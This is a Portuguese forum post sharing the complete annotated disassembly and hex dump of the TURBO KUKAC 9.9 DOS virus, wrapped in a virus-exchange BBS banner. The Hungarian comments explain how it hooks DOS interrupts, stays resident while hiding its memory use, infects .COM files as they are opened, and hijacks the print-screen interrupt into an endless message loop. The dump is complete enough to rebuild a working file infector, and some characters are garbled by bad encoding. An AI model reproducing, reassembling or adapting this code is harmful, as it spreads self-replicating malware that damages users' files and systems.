Olá pessoal quero compartilhar com vocęs um código fonte de um Vírus em Assembly - TURBO 99.
Nome: TURBO 99.
Código:
WCG 147
Nome: TURBO 99.
Código:
Código:
;****************************************************************************; ; ; ; -=][][][][][][][][][][][][][][][=- ; ; -=] P E R F E C T C R I M E [=- ; ; -=] +31.(o)79.426o79 [=- ; ; -=] [=- ; ; -=] For All Your H/P/A/V Files [=- ; ; -=] SysOp: Peter Venkman [=- ; ; -=] [=- ; ; -=] +31.(o)79.426o79 [=- ; ; -=] P E R F E C T C R I M E [=- ; ; -=][][][][][][][][][][][][][][][=- ; ; ; ; *** NOT FOR GENERAL DISTRIBUTION *** ; ; ; ; This File is for the Purpose of Virus Study Only! It Should not be Passed ; ; Around Among the General Public. It Will be Very Useful for Learning how ; ; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; ; Experience can Turn it Into a far More Malevolent Program Than it Already ; ; Is. Keep This Code in Responsible Hands! ; ; ; ;****************************************************************************; TURBO KUKAC v9.9 virus unassembled list: `90.07.21. Magyar*zat: K”v*ri L*szl˘ Tel.: (41) 21-822 07-13:20 mh. 21-033 18:00- 28F8:0100 E80000 CALL 0103 ;IP ‚rt‚ke az SI-be 28F8:0103 90 NOP ;ez lesz a b*zis offset 28F8:0104 5E POP SI 28F8:0105 50 PUSH AX 28F8:0106 51 PUSH CX 28F8:0107 B021 MOV AL,21 28F8:0109 B435 MOV AH,35 28F8:010B CD21 INT 21 ;INT 21h cˇm‚nek lek‚r- ;dez‚se 28F8:010D 8CC0 MOV AX,ES 28F8:010F 3D0040 CMP AX,4000 ;a mem˘ri*ban van ? 28F8:0112 7224 JB 0138 ;nincs! 28F8:0114 83EE03 SUB SI,+03 ;b*zis offset -3 ;(3 byte hosszu a JMP ;+ az operandusa!) 28F8:0117 BAC102 MOV DX,02C1 28F8:011A 81EA0001 SUB DX,0100 ;0100h offset levon*sa ;(COM file saj*toss*ga!) 28F8:011E 03F2 ADD SI,DX 28F8:0120 8B1C MOV BX,[SI] ;JMP k˘dja + az operan- ;dus fele 28F8:0122 8B4C02 MOV CX,[SI+02] ;JMP operandusa + 1 byte 28F8:0125 891E0001 MOV [0100],BX ;eredeti prg kezdet 28F8:0129 890E0201 MOV [0102],CX ;let*rol*sa 28F8:012D 8CD8 MOV AX,DS 28F8:012F 8EC0 MOV ES,AX ;ES=DS 28F8:0131 59 POP CX 28F8:0132 58 POP AX 28F8:0133 BB0001 MOV BX,0100 ;ugr*s offset-je 28F8:0136 FFE3 JMP BX ;EREDETI PROGRAM V�GRE- ;HAJT�SA ;HA M�G NINCS A MEM˘RI�BAN 28F8:0138 8CD8 MOV AX,DS ;saj*t szegmense 28F8:013A 48 DEC AX ;saj*t seg-1= MCB. seg. 28F8:013B 8ED8 MOV DS,AX ;DS=MCB. szegmense 28F8:013D A10300 MOV AX,[0003] ;DOS *lltal a programnak ;foglalt mem˘riablokk ;hossza 28F8:0140 2D4100 SUB AX,0041 ;virus hossz*t levonja ;bel”le (41*16 byte) 28F8:0143 A30300 MOV [0003],AX ;visszateszi igy a DOS ;*lltal l*tott teljes ;mem˘ria nagys*ga a prg. ;kil‚p‚se ut*n (41*16 ;byte-tal) kevesebb lesz ;Hasonl˘an csin*lja ezt ;a YANKEE DOODLE is, s ;ezzel azt ‚ri el, hogy ;semmilyen ;System Storage Map ;programmal nem mutat- ;hat˘ ki a virus jele- ;l‚te a mem˘ri*ban! ;A PCTOOLS system info ;kimutatja, azaz csak ;annyit l*tni, hogy a ;fizikai RAM m‚ret 640K ;s a DOS *lltal l*tott ;az 639k byte! Igy k”- ;vetkeztetni lehet... 28F8:0146 8CC8 MOV AX,CS 28F8:0148 8ED8 MOV DS,AX ;DS=CS 28F8:014A A10200 MOV AX,[0002] ;PSP-ben a RAM tetej‚- ;nek a paragrafuscˇme 28F8:014D 2D0008 SUB AX,0800 28F8:0150 8EC0 MOV ES,AX ;virus Łj szegmense 28F8:0152 BF0001 MOV DI,0100 28F8:0155 83EE03 SUB SI,+03 28F8:0158 B90002 MOV CX,0200 ;virus hossza 28F8:015B F3 REPZ 28F8:015C A4 MOVSB ;virus m*sol*sa az Łj ;szegmensbe 28F8:015D 8C06C702 MOV [02C7],ES ;Łj szegmens t*rol*sa 28F8:0161 B96C01 MOV CX,016C ;bel‚p‚si pont 28F8:0164 890EC502 MOV [02C5],CX ;t*rol*sa 28F8:0168 FF2EC502 JMP FAR [02C5] ;ugr*s az Łj szegmens ;01c6 offset-‚re ;UJ SZEGMENSBEN A BEL�P�SI PONT 28F8:016C 8CC1 MOV CX,ES 28F8:016E 8CD8 MOV AX,DS ;ahonnan m*solta mag*t 28F8:0170 26 ES: 28F8:0171 A3CB02 MOV [02CB],AX ;R�GI PRG. segment cˇm 28F8:0174 B80001 MOV AX,0100 28F8:0177 26 ES: 28F8:0178 A3C902 MOV [02C9],AX ;0100h offset t*rol*sa 28F8:017B 8CC0 MOV AX,ES 28F8:017D 8ED8 MOV DS,AX 28F8:017F BAC701 MOV DX,01C7 ;INT 05 - HARD COPY Łj ;offset-je 28F8:0182 B005 MOV AL,05 28F8:0184 B425 MOV AH,25 28F8:0186 CD21 INT 21 ;INT 05 ellop*sa 28F8:0188 B435 MOV AH,35 28F8:018A B021 MOV AL,21 28F8:018C CD21 INT 21 ;INT 21h cˇm lek‚rdez‚- ;se 28F8:018E 2E CS: 28F8:018F 891EB702 MOV [02B7],BX ;INT 05h offset (r‚gi) 28F8:0193 8CC3 MOV BX,ES 28F8:0195 2E CS: 28F8:0196 891EB902 MOV [02B9],BX ;INT 05h segment (r‚gi) 28F8:019A B8D901 MOV AX,01D9 ;Łj INT 21h offset cˇm 28F8:019D 8BD0 MOV DX,AX 28F8:019F 8BC1 MOV AX,CX 28F8:01A1 8ED8 MOV DS,AX 28F8:01A3 B021 MOV AL,21 28F8:01A5 B425 MOV AH,25 28F8:01A7 CD21 INT 21 ;INT 21h ellop*sa 28F8:01A9 8B16C102 MOV DX,[02C1] ;EREDETI JMP + AZ 28F8:01AD 8B0EC302 MOV CX,[02C3] ;OPERANDUSA!!! 28F8:01B1 A1CB02 MOV AX,[02CB] ;EREDETI PRG. SEG!!! 28F8:01B4 8ED8 MOV DS,AX 28F8:01B6 89160001 MOV [0100],DX ;eredeti JMP k˘dja 28F8:01BA 890E0201 MOV [0102],CX ;‚s operandusa 28F8:01BE 8EC0 MOV ES,AX 28F8:01C0 59 POP CX 28F8:01C1 58 POP AX 28F8:01C2 2E CS: 28F8:01C3 FF2EC902 JMP FAR [02C9] ;EREDETI PROGRAM FUTTA- ;T�SA! ;Łj INT 05 - HARD COPY rutin 28F8:01C7 90 NOP 28F8:01C8 50 PUSH AX 28F8:01C9 1E PUSH DS 28F8:01CA 52 PUSH DX 28F8:01CB 8CC8 MOV AX,CS 28F8:01CD 8ED8 MOV DS,AX ;V�GTELEN CIKLUS! 28F8:01CF BACE02 MOV DX,02CE ;sz”veg kezdete ;Turbo Kukac v9.9 28F8:01D2 B409 MOV AH,09 ;print string 28F8:01D4 E8D900 CALL 02B0 ;r‚gi INT 21h hiv*sa 28F8:01D7 EBF6 JMP 01CF ;Łjra! ;Łj INT 21h rutin 28F8:01D9 90 NOP 28F8:01DA 80FC3D CMP AH,3D ;file nyit*sa alfunkci˘? 28F8:01DD 7403 JZ 01E2 ;igen 28F8:01DF E9C700 JMP 02A9 ;nem ugr*sa az eredeti ;INT 21h-ra 28F8:01E2 90 NOP 28F8:01E3 1E PUSH DS 28F8:01E4 06 PUSH ES 28F8:01E5 50 PUSH AX 28F8:01E6 53 PUSH BX 28F8:01E7 51 PUSH CX 28F8:01E8 52 PUSH DX 28F8:01E9 57 PUSH DI 28F8:01EA 56 PUSH SI ;File kiterjeszt‚s ellen”rz‚se 28F8:01EB 8BFA MOV DI,DX ;file PATH kezdete 28F8:01ED 8CDE MOV SI,DS 28F8:01EF 8EC6 MOV ES,SI ;ES=DS (igy a file PATH ;*tv‚tele!) 28F8:01F1 B000 MOV AL,00 ;PATH lez*r˘ nulla 28F8:01F3 B93200 MOV CX,0032 ;file secifik*ci˘ hossza 28F8:01F6 FC CLD ;el”re 28F8:01F7 F2 REPNZ 28F8:01F8 AE SCASB ;PATH lez*r˘ 0 byte ke- ;res‚se 28F8:01F9 83EF03 SUB DI,+03 ;-3 igy a kiterjeszt‚s ;kezdet+1 pozici˘ra mu- ;tat 28F8:01FC B84F4D MOV AX,4D4F ;'OM' AX-be 28F8:01FF 26 ES: 28F8:0200 3B05 CMP AX,[DI] ; 'OM' a v‚ge ? 28F8:0202 7403 JZ 0207 ;igen val*szin�leg COM ;file 28F8:0204 E99A00 JMP 02A1 ;nem COM ugr*s az erede- ;ti INT 21h-ra 28F8:0207 B82E43 MOV AX,432E ;'.C' AX-be 28F8:020A 26 ES: 28F8:020B 3B45FE CMP AX,[DI-02] ; '.C' ? 28F8:020E 7403 JZ 0213 ;biztos hogy COM file! 28F8:0210 E98E00 JMP 02A1 ;nem COM ugr*s az erede- ;ti INT 21h-ra ;File nyit*sa 28F8:0213 B43D MOV AH,3D ;file nyit*s 28F8:0215 B002 MOV AL,02 ;ˇr*s/olvas*s 28F8:0217 E89600 CALL 02B0 ;INT 21h hiv*sa 28F8:021A 7303 JNB 021F ;ha nincs hiba 28F8:021C E98200 JMP 02A1 ;hiba eset‚n ugr*s az ;eredeti INT 21h-ra 28F8:021F 8BD8 MOV BX,AX ;file kezel” ;File m‚ret ellen”rz‚s 28F8:0221 B90000 MOV CX,0000 28F8:0224 BA0000 MOV DX,0000 28F8:0227 B002 MOV AL,02 ;file v‚g‚re 28F8:0229 B442 MOV AH,42 ;file pointer mozgat*sa 28F8:022B E88200 CALL 02B0 ;INT 21h hiv*sa 28F8:022E 3D00FE CMP AX,FE00 28F8:0231 736E JNB 02A1 ;ha nem nagyobb a file ;65024 byte-n*l 28F8:0233 2D0300 SUB AX,0003 ;JMP+op hossza ;Fert”zend” file eredeti 4 byte j*nak ;beolvas*sa 28F8:0236 2E CS: 28F8:0237 A3BE02 MOV [02BE],AX ;let*rolja 28F8:023A B442 MOV AH,42 ;file pointer mozgat*sa 28F8:023C B000 MOV AL,00 ;file elej‚re 28F8:023E B90000 MOV CX,0000 28F8:0241 BA0000 MOV DX,0000 28F8:0244 E86900 CALL 02B0 ;INT 21h hiv*sa 28F8:0247 B43F MOV AH,3F ;olvas*s file-b˘l 28F8:0249 B90400 MOV CX,0004 ;4 byte 28F8:024C BAC102 MOV DX,02C1 ;ide tegye 28F8:024F 8CCF MOV DI,CS 28F8:0251 8EDF MOV DS,DI ;DS=CS 28F8:0253 E85A00 CALL 02B0 ;INT 21h hiv*sa 28F8:0256 B005 MOV AL,05 28F8:0258 3A06C402 CMP AL,[02C4] ;utols˘ byte=5 ? 28F8:025C 7443 JZ 02A1 ;igen, ugr*s az eredeti ;INT 21h -ra ;Fert”zend” file-ba a virusra ;mutat˘ JMP+op. kiˇr*sa (4 byte) 28F8:025E B442 MOV AH,42 ;file pointer mozgat*sa 28F8:0260 B000 MOV AL,00 ;file elej‚re 28F8:0262 B90000 MOV CX,0000 28F8:0265 8BD1 MOV DX,CX 28F8:0267 E84600 CALL 02B0 ;INT 21h hiv*sa 28F8:026A B0E9 MOV AL,E9 ;JMP k˘dja 28F8:026C 2E CS: 28F8:026D A2BD02 MOV [02BD],AL ;let*rolja 28F8:0270 B005 MOV AL,05 28F8:0272 2E CS: 28F8:0273 A2C002 MOV [02C0],AL 28F8:0276 B90400 MOV CX,0004 ;4 byte 28F8:0279 BABD02 MOV DX,02BD ;JMP + op. kezdete 28F8:027C 8CC8 MOV AX,CS 28F8:027E 8ED8 MOV DS,AX 28F8:0280 B440 MOV AH,40 ;kiˇr*s file-ba 28F8:0282 E82B00 CALL 02B0 ;INT 21h hiv*sa ;Program megfert”z‚se 0200h byte kiˇr*sa ;azaz a virus m”g‚m*sol*sa 28F8:0285 B442 MOV AH,42 ;file pointer mozgat*sa 28F8:0287 B002 MOV AL,02 ;file v‚g‚re 28F8:0289 B90000 MOV CX,0000 28F8:028C 8BD1 MOV DX,CX 28F8:028E E81F00 CALL 02B0 ;INT 21h hiv*sa 28F8:0291 BA0001 MOV DX,0100 ;0100h ofset-t”l 28F8:0294 B90002 MOV CX,0200 ;0200h byte virus hossza 28F8:0297 B440 MOV AH,40 ;kiˇr*s file-ba 28F8:0299 E81400 CALL 02B0 ;INT 21h hiv*sa 28F8:029C B43E MOV AH,3E ;file z*r*sa 28F8:029E E80F00 CALL 02B0 ;INT 21h hiv*sa 28F8:02A1 5E POP SI 28F8:02A2 5F POP DI 28F8:02A3 5A POP DX 28F8:02A4 59 POP CX 28F8:02A5 5B POP BX 28F8:02A6 58 POP AX 28F8:02A7 07 POP ES 28F8:02A8 1F POP DS 28F8:02A9 90 NOP 28F8:02AA 2E CS: 28F8:02AB FF2EB702 JMP FAR [02B7] ;eredeti INT 21h-ra 28F8:02AF CF IRET ;Eredeti INT 21h hiv*sa 28F8:02B0 9C PUSHF ;elmenti mivel az IRET ;visszamenti a flag-eket 28F8:02B1 2E CS: 28F8:02B2 FF1EB702 CALL FAR [02B7] ;eredeti INT 21h hiv*sa 28F8:02B6 C3 RET 28F8:02B7 16 PUSH SS 28F8:02B8 130C ADC CX,[SI] 28F8:02BA 0202 ADD AL,[BP+SI] 28F8:02BC 00E9 ADD CL,CH 28F8:02BE 06 PUSH ES 28F8:02BF 06 PUSH ES 28F8:02C0 05E906 ADD AX,06E9 28F8:02C3 0405 ADD AL,05 28F8:02C5 0100 ADD [BX+SI],AX 28F8:02C7 0000 ADD [BX+SI],AL 28F8:02C9 0001 ADD [BX+DI],AL 28F8:02CB F0 LOCK 28F8:02CC 0901 OR [BX+DI],AX 28F8:02CE 54 PUSH SP 28F8:02CF 7572 JNZ 0343 28F8:02D1 62 DB 62 28F8:02D2 6F DB 6F 28F8:02D3 204B75 AND [BP+DI+75],CL 28F8:02D6 6B DB 6B 28F8:02D7 61 DB 61 28F8:02D8 63 DB 63 28F8:02D9 2039 AND [BX+DI],BH 28F8:02DB 2E CS: 28F8:02DC 3920 CMP [BX+SI],SP 28F8:02DE 2020 AND [BX+SI],AH 28F8:02E0 2020 AND [BX+SI],AH 28F8:02E2 2024 AND [SI],AH 28F8:02E4 0000 ADD [BX+SI],AL 28F8:02FC 0000 ADD [BX+SI],AL 28F8:02FE FA CLI 28F8:02FF 00C7 ADD BH,AL Megjegyz‚s: Nagyon primitˇv virus, de megvan a maga zsenialit*sa, k‚t legyet �t egy csap*sra, pl COPY parancs eset‚n megnyit egy com file-t,s ha a virus a mem˘ri*ban van, akkor m‚g a m*soland˘ file-t megfer- t”zi, s a COPY m*r a fert”z”tt file-t m*solja! Nem igaz*n k*r- t‚kony vˇrus, puszt*n minden�tt ott akar lenni, s nehezˇteni a felhaszn*l˘(k) munk*j*t! M‚rete nagyon kicsi, mind”ssze 512 byte! Hi*nyoznak a vˇrusb˘l az (tapasztalataim szerint) eddigi virusok- ban fellelhet” ellen”rz‚sek, gondolok itt arra, hogy ha megt”rt‚nik egy file-ba (hoz) val˘ kiˇr*s nem ellen”rzi a program hogy val˘ban kiˇrta-e azt az X byte-ot. Tov*bb* mikor rezidess‚ (nem {hivatalo- san} bejegyzetten) teszi mag*t nem m˘dosˇtja az MCB. 13. byte-j*n l‚v” RAM tetej‚nek a paragrafus cˇm‚tt a saj*t maga *lltal lefog- lalt m‚rettel (kivon*s!), mint PL. a Yankee Doodle! A Yankee m‚g azt is megn‚zi, hogy amit meg akar fert”zni az az utols˘ mem˘. blokkban van-e, b*r abban kell lennie, mert a DOS egy programnak odaadja a teljes szabad mem˘ri*t, ami van... DUMP: 28F8:0100 E8 00 00 90 5E 50 51 B0-21 B4 35 CD 21 8C C0 3D ....^PQ.!.5.!..= 28F8:0110 00 40 72 24 83 EE 03 BA-C1 02 81 EA 00 01 03 F2 .@r$............ 28F8:0120 8B 1C 8B 4C 02 89 1E 00-01 89 0E 02 01 8C D8 8E ...L............ 28F8:0130 C0 59 58 BB 00 01 FF E3-8C D8 48 8E D8 A1 03 00 .YX.......H..... 28F8:0140 2D 41 00 A3 03 00 8C C8-8E D8 A1 02 00 2D 00 08 -A...........-.. 28F8:0150 8E C0 BF 00 01 83 EE 03-B9 00 02 F3 A4 8C 06 C7 ................ 28F8:0160 02 B9 6C 01 89 0E C5 02-FF 2E C5 02 8C C1 8C D8 ..l............. 28F8:0170 26 A3 CB 02 B8 00 01 26-A3 C9 02 8C C0 8E D8 BA &......&........ 28F8:0180 C7 01 B0 05 B4 25 CD 21-B4 35 B0 21 CD 21 2E 89 .....%.!.5.!.!.. 28F8:0190 1E B7 02 8C C3 2E 89 1E-B9 02 B8 D9 01 8B D0 8B ................ 28F8:01A0 C1 8E D8 B0 21 B4 25 CD-21 8B 16 C1 02 8B 0E C3 ....!.%.!....... 28F8:01B0 02 A1 CB 02 8E D8 89 16-00 01 89 0E 02 01 8E C0 ................ 28F8:01C0 59 58 2E FF 2E C9 02 90-50 1E 52 8C C8 8E D8 BA YX......P.R..... 28F8:01D0 CE 02 B4 09 E8 D9 00 EB-F6 90 80 FC 3D 74 03 E9 ............=t.. 28F8:01E0 C7 00 90 1E 06 50 53 51-52 57 56 8B FA 8C DE 8E .....PSQRWV..... 28F8:01F0 C6 B0 00 B9 32 00 FC F2-AE 83 EF 03 B8 4F 4D 26 ....2........OM& 28F8:0200 3B 05 74 03 E9 9A 00 B8-2E 43 26 3B 45 FE 74 03 ;.t......C&;E.t. 28F8:0210 E9 8E 00 B4 3D B0 02 E8-96 00 73 03 E9 82 00 8B ....=.....s..... 28F8:0220 D8 B9 00 00 BA 00 00 B0-02 B4 42 E8 82 00 3D 00 ..........B...=. 28F8:0230 FE 73 6E 2D 03 00 2E A3-BE 02 B4 42 B0 00 B9 00 .sn-.......B.... 28F8:0240 00 BA 00 00 E8 69 00 B4-3F B9 04 00 BA C1 02 8C .....i..?....... 28F8:0250 CF 8E DF E8 5A 00 B0 05-3A 06 C4 02 74 43 B4 42 ....Z...:...tC.B 28F8:0260 B0 00 B9 00 00 8B D1 E8-46 00 B0 E9 2E A2 BD 02 ........F....... 28F8:0270 B0 05 2E A2 C0 02 B9 04-00 BA BD 02 8C C8 8E D8 ................ 28F8:0280 B4 40 E8 2B 00 B4 42 B0-02 B9 00 00 8B D1 E8 1F .@.+..B......... 28F8:0290 00 BA 00 01 B9 00 02 B4-40 E8 14 00 B4 3E E8 0F ........@....>.. 28F8:02A0 00 5E 5F 5A 59 5B 58 07-1F 90 2E FF 2E B7 02 CF .^_ZY[X......... 28F8:02B0 9C 2E FF 1E B7 02 C3 16-13 0C 02 02 00 E9 06 06 ................ 28F8:02C0 05 E9 06 04 05 01 00 00-00 00 01 F0 09 01 .............. ;Kiˇrand˘ sz”veg kezdete 28F8:02C0 54 75 Tu 28F8:02D0 72 62 6F 20 4B 75 6B 61-63 20 39 2E 39 20 20 20 rbo Kukac 9.9 28F8:02E0 20 20 20 24 $ 28F8:02E0 00 00 00 00-00 00 00 00 00 00 00 00 ............ 28F8:02F0 00 00 00 00 00 00 00 00-00 00 00 00 00 00 FA 00 ................ 28F8:0300 C7 . ;****************************************************************************; ; ; ; -=][][][][][][][][][][][][][][][=- ; ; -=] P E R F E C T C R I M E [=- ; ; -=] +31.(o)79.426o79 [=- ; ; -=] [=- ; ; -=] For All Your H/P/A/V Files [=- ; ; -=] SysOp: Peter Venkman [=- ; ; -=] [=- ; ; -=] +31.(o)79.426o79 [=- ; ; -=] P E R F E C T C R I M E [=- ; ; -=][][][][][][][][][][][][][][][=- ; ; ; ; *** NOT FOR GENERAL DISTRIBUTION *** ; ; ; ; This File is for the Purpose of Virus Study Only! It Should not be Passed ; ; Around Among the General Public. It Will be Very Useful for Learning how ; ; Viruses Work and Propagate. But Anybody With Access to an Assembler can ; ; Turn it Into a Working Virus and Anybody With a bit of Assembly Coding ; ; Experience can Turn it Into a far More Malevolent Program Than it Already ; ; Is. Keep This Code in Responsible Hands! ; ; ; ;****************************************************************************;
WCG 147